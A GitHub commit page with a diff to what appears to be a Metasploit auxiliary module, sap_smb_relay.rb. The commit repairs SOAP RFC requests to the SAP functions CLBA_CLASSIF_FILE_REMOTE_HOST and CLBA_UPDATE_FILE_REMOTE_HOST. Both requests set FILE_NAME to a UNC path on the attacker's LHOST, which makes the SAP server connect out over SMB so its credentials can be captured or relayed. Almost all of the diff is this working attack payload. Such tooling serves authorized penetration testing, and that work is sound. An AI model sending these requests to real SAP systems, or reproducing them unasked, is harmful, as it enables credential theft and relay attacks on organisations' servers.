Skip to content

Commit 1128663

Browse files
committed
modifications to CLBA_ SOAP requests to fix XML kernel processor error
1 parent 83f73c0 commit 1128663

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/auxiliary/scanner/sap/sap_smb_relay.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -195,19 +195,19 @@ def run_clba_classif_file_remote
195195
smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"
196196

197197
data = '<?xml version="1.0" encoding="utf-8" ?>'
198-
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
199-
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
198+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
199+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
200200
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
201201
data << '<SOAP-ENV:Header/>'
202202
data << '<SOAP-ENV:Body>'
203-
data << '<n1:CLBA_CLASSIF_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
203+
data << '<CLBA_CLASSIF_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
204204
data << '<CLASSIF_FILE>'
205205
data << '<item>'
206206
data << '<ZEILE>a</ZEILE>'
207207
data << '</item>'
208208
data << '</CLASSIF_FILE>'
209209
data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
210-
data << '</n1:CLBA_CLASSIF_FILE_REMOTE_HOST>'
210+
data << '</CLBA_CLASSIF_FILE_REMOTE_HOST>'
211211
data << '</SOAP-ENV:Body>'
212212
data << '</SOAP-ENV:Envelope>'
213213
send_soap_rfc_request(data, smb_uri)
@@ -217,23 +217,23 @@ def run_clba_update_file_remote
217217
smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"
218218

219219
data = '<?xml version="1.0" encoding="utf-8" ?>'
220-
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
221-
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
220+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
221+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
222222
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
223223
data << '<SOAP-ENV:Header/>'
224224
data << '<SOAP-ENV:Body>'
225-
data << '<n1:CLBA_UPDATE_FILE_REMOTE_HOST xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
225+
data << '<CLBA_UPDATE_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
226226
data << '<DATA_TAB>'
227227
data << '<item>'
228228
data << '<TABNAME>a</TABNAME>'
229-
data << '<NUMBER>0</NUMBER>'
229+
data << '<NUMMER>0</NUMMER>'
230230
data << '<TEXT>a</TEXT>'
231231
data << '<COLOR>a</COLOR>'
232232
data << '<DATA>a</DATA>'
233233
data << '</item>'
234234
data << '</DATA_TAB>'
235235
data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
236-
data << '</n1:CLBA_UPDATE_FILE_REMOTE_HOST>'
236+
data << '</CLBA_UPDATE_FILE_REMOTE_HOST>'
237237
data << '</SOAP-ENV:Body>'
238238
data << '</SOAP-ENV:Envelope>'
239239
send_soap_rfc_request(data, smb_uri)

0 commit comments

Comments
 (0)